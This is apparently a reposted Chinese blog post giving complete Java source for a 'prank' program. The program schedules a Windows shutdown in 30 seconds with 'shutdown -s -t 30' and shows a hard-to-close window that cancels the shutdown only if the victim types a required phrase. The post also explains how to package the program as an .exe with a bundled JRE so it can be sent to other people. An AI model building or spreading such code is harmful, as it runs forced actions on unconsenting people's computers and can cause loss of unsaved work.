生活随笔
收集整理的這篇文章主要介紹了
Java整人程序-电脑关机
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
Java整人程序(一)
介紹
如圖所示:
輸入內容可更換為想要的內容,從打開就開始計時,超過了時間的話你懂的hhh
效果
1.不可關閉窗口(圖片為當點擊×時)
2.當輸入的不是規定的輸入時(點擊確定之后)
代碼
話不多說,上代碼!
第一個類(Play2)
import javax
.imageio
.ImageIO
;
import javax
.swing
.*;
import java
.awt
.*;
import java
.awt
.event
.*;
import java
.io
.IOException
;
public class Play2 extends JFrame{private String text
;private JPanel mainPanel
= new JPanel();private Frame frame
= new Frame("嘻嘻嘻");private JLabel questionLabel
= new JLabel("請在下面輸入“XXXX”,不然電腦在30秒后關機!");private TextArea textField
= new TextArea(5,45);private JButton button
= new JButton("確定");public void init() {mainPanel
.add(questionLabel
);mainPanel
.add(textField
);mainPanel
.add(button
);questionLabel
.setFont(new Font("黑體",Font
.BOLD,14));try {frame
.setIconImage(ImageIO
.read(Play1
.class
.getResource("520.ico")));} catch (IOException e
) {e
.printStackTrace();}frame
.setBounds(550,200,400,190);frame
.setLocationRelativeTo(null);frame
.setResizable(false);frame
.setVisible(true);frame
.add(mainPanel
);event();}public void event(){frame
.addWindowListener(new WindowAdapter() {public void windowClosing(WindowEvent e) {int option
= JOptionPane
.showConfirmDialog(Play2
.this
,"請輸入!!!");if(option
==0)JOptionPane
.showMessageDialog(Play2
.this
,"快點去!!!");elseJOptionPane
.showMessageDialog(Play2
.this
,"乖");}});textField
.addTextListener(new TextListener() {@Override
public void textValueChanged(TextEvent e) {text
= textField
.getText();}});button
.addActionListener(new ActionListener() {@Override
public void actionPerformed(ActionEvent e) {String actionCommand
= e
.getActionCommand();if (actionCommand
.equals("確定")&&text
.equals("XXXX")){undoshutdown();}else{int option
= JOptionPane
.showConfirmDialog(Play2
.this
,"你已經涼涼了!!!");if(option
==0) {JOptionPane
.showMessageDialog(Play2
.this
, "稍等片刻,馬上關機!");System
.exit(0);}elseSystem
.exit(0);}}});}public static void undoshutdown(){try {Runtime
.getRuntime().exec("shutdown /a");} catch (IOException e
) {e
.printStackTrace();}System
.exit(0);}}
第二個類(Play3)
import java
.io
.IOException
;
public class Play3 extends Thread {@Override
public void run() {Runtime runtime
= Runtime
.getRuntime();try {runtime
.exec("shutdown -s -t 30");} catch (IOException ex
) {ex
.printStackTrace();}}
}
第三個類(Play1)-主類
public class Play1 {public static void main(String[] args) {Play2 play2
= new Play2();play2
.init();Play3 play3
= new Play3();play3
.start();}
}
注意事項
此程序只適合有Java運行環境(jdk)的電腦使用,若要發給沒有Java運行環境的人就得使用 exe4j Wizard 將此程序的.jar文件變成.exe文件,并且附帶jdk里的jre文件夾一起發給別人,可以結合 Inno Setup Compiler 一起使用
大家感興趣的話我可以發布這兩款軟件的使用教程
謝謝大家觀看!
總結
以上是生活随笔為你收集整理的Java整人程序-电脑关机的全部內容,希望文章能夠幫你解決所遇到的問題。
如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。